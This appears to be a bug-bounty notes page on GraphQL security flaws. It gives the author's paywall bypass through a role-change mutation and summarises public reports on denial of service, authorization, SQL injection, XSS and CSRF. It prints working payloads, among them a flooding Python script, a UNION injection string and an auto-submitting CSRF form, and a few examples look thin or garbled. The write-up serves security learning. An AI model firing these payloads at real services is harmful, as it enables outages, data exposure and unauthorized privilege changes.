Some targets differentiate between free and premium features through GUI-based paywalls that block access to certain functionalities unless you pay. However, with GraphQL introspection enabled, I uncovered the mutation that this feature utilizes, allowing me to bypass the paywall by directly interacting with the API.
- GraphQL:
- Identified the mutation being used for the restricted feature.
- Direct API Request:
- Used the mutation directly via an API request, bypassing the paywall GUI restriction.
POST /t/graphql/org/{your-orgID}?q=ChangeUsersOrgRole HTTP/2
Host: app.target.com
Cookie: <your-cookie>
User-Agent: <your-user-agent>
Referer: https://app.target.com/analytics/sallam/settings/users/joined
Content-Type: application/json
X-Org: 315336
Content-Length: 557
Origin: https://app.target.com
{
"query": "mutation ChangeUsersOrgRole($loginIds: [ID!]!, $orgRole: Int!) {\n changeUsersOrgRole(loginIds: $loginIds, orgRole: $orgRole) {\n ...userFields\n __typename\n }\n}\n\nfragment userFields on User {\n id\n alias\n avatarVersion\n blurb\n createdAt\n defaultAllProjectRole\n defaultAppId\n email\n firstName\n fullName\n hasAvatar\n hasOutstandingInvite\n isConnectedToSlack\n lastName\n loginId\n name\n orgRole\n orgTeam\n title\n pronouns\n __typename\n}\n",
"variables": {
"loginIds": ["sallam@cyberar.net"],
"orgRole": 1
}
}By sending this request, the paywall was bypassed, granting access to the restricted feature. This highlights how misconfigured GraphQL endpoints and exposed mutations can lead to security vulnerabilities.
- A Large Payload (HackerOne): A hacker found that HackerOne did not enforce a character limit on API query inputs, despite documentation indicating one. A Python exploit was used to send a large payload, demonstrating that the server was vulnerable to denial of service when receiving large inputs.
{% embed url="https://hackerone.com/reports/887321" %} {% endembed %}
- Regular Expressions (CS Money): A vulnerability was discovered where a user could cause a denial of service by using a regular expression . The vulnerability involved a query that used regular expressions, which could lead to a ReDoS (Regular Expression Denial of Service) attack, where a crafted regular expression causes the server to hang .
query {
search(q: "\u0000)", lang: "en") {
--snip--
}
In response to this query, the GraphQL API server returned an interesting
error that revealed some information critical to identifying the existence of
the ReDoS vulnerability:
"errors": [
{
"message": "value (?=.*\u0000) must not contain null by tes"
--snip--
}
]As you can see, the string supplied through the q argument was inserted into regex-matching logic on the server, indicated by the preceding (?=.*string in the response. The server might use this argument to search for relevant data in a database.
{% embed url="https://hackerone.com/reports/1000567" %}
- A Circular Introspection Query (GitLab): A circular introspection query was used to cause a denial of service on a GitLab server . The attack involved creating two fragments that reference each other on the
__Schematype, leading to an infinite loop and freezing the server . The code snippet for this exploit is:
query {
__schema {
types {
fields {
type {
fields {
type {
--snip--
}
}
}
}
}
}
}- Aliases for Field Duplication (Magento): A vulnerability using aliases to duplicate fields led to a denial of service . The exploit involves using aliases to send duplicate fields in a query, which can cause the server to consume more resources than necessary .
query {
alias1: countries {
full_name_english
full_name_english # continues 1000s of times
--snip--
}
alias2: countries {
--snip--
}
alias3: countries {
--snip--
}
}- Array-Based Batching for Field Duplication (WPGraphQL): An array-based batching technique was used to duplicate fields and cause a denial of service on WPGraphQL, a WordPress plug-in . The following code is a snippet of an exploit that demonstrates the vulnerability:
payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}
for _ in range(0, CHAINED_REQUESTS):
queries.append(query)
r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {}'.format(r.elapsed.total_seconds()))- Circular Fragments (Agoo): A circular fragment condition was exploited to cause a denial of service on an Agoo server . The exploit creates two fragments that reference each other and then includes one of them in a query, causing an infinite loop.
query Introspection {
__schema {
directives {
name
}
}
}
-------------------
query CircularFragment {
__schema {
...A
}
}
fragment A on __Schema {
directives {
name
}
...B
}
fragment B on __Schema {
...A
}- Allowing Data Access to Deactivated Users (GitLab): A vulnerability in GitLab allowed deactivated users to still access data through the GraphQL API . The vulnerability highlights that while a user may be deactivated, their data may still be accessible through the GraphQL endpoint.
{% embed url="https://hackerone.com/reports/1192460" %}
- Allowing an Unprivileged Staff Member to Modify a Customer’s Email (Shopify): A vulnerability in Shopify allowed unprivileged staff members to modify customer emails . This showed how authorization flaws could lead to unwanted data modification through the GraphQL API.
{% embed url="https://hackerone.com/reports/980511" %}
- Disclosing the Number of Allowed Hackers Through a Team Object (HackerOne): A vulnerability on HackerOne allowed the disclosure of the number of allowed hackers through a team object . This vulnerability shows that even seemingly innocuous data disclosure can be an issue.
{% embed url="https://hackerone.com/reports/342978" %}
- Reading Private Notes (GitLab): A vulnerability in GitLab’s GraphQL API allowed hackers to read private notes, even though they were restricted in the REST API . The query used to exploit this vulnerability is:
{% embed url="https://hackerone.com/reports/633001" %}
query {
project(fullPath:"username16/ci-test"){
issue(iid:"1"){
descriptionHtml
notes {
edges {
node {
bodyHtml
system
author {
username
}
body
}
}
}
}
}
}- Disclosing Payment Transaction Information (HackerOne): A vulnerability on HackerOne allowed access to payment transaction information . The vulnerability allowed an unauthorized user to access a total count of payment transactions, revealing sensitive financial information .
{% embed url="https://hackerone.com/reports/707433" %}
- Enumerating GraphQL Users (GitLab): A vulnerability allowed the enumeration of GraphQL users . This vulnerability showed how an API may inadvertently expose user information.
query {
users {
nodes {
id
name
username
}
}
}- Accessing the Introspection Query via WebSocket (Nuri): A vulnerability was found in Nuri where the introspection query was accessible via WebSocket .
{% embed url="https://hackerone.com/reports/862835" %}
- SQL Injection in a GET Query Parameter (HackerOne): A SQL injection vulnerability was found in a HackerOne application in a GET query parameter . This showed how GraphQL endpoints can be vulnerable to common injection attacks through GET requests.
{% embed url="https://hackerone.com/reports/435066" %}
- SQL Injection in an Object Argument (Apache SkyWalking): A SQL injection vulnerability was found in Apache SkyWalking where the vulnerability was located in an object argument . A code review revealed that the vulnerability stemmed from a lack of sanitization when constructing SQL queries using client-supplied data .
query SQLi($d: Duration!) {
getLinearIntValues(metric:{name: "all_p99", id: "') UNION SELECT 1,CONCAT('~','9999999999','~')--"},duration: $d) {
values {
value
}
}
}{% embed url="https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2020/CVE-2020-9483.yaml" %}
- Cross-Site Scripting (GraphQL Playground): A cross-site scripting vulnerability was found in GraphQL Playground .
class UserObject(SQLAlchemyObjectType):
class Meta:
name = "MyMaliciousTypeName"
model = User- A CSRF vulnerability was found in GitLab . The following GraphQL mutation was used to exploit the vulnerability:
{% embed url="https://hackerone.com/reports/1122408" %}
<form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET"> ❶
<input name= "query" value="mutation CreateSnippet($input: CreateSnippetInput!) --snip--">
<input name= "variables" value='{"input":{"title":"Tesssst Snippet"} --snip--'>
</form>
<script>document.getElementById("csrf-form").submit()</script>mutation CreateSnippet($input: CreateSnippetInput!) {
createSnippet(input: $input) {
errors
snippet {
webUrl
__typename
}
--snip--
}
} (1) (1).png)
 (1) (1) (1) (1) (1) (1) (1) (1).png)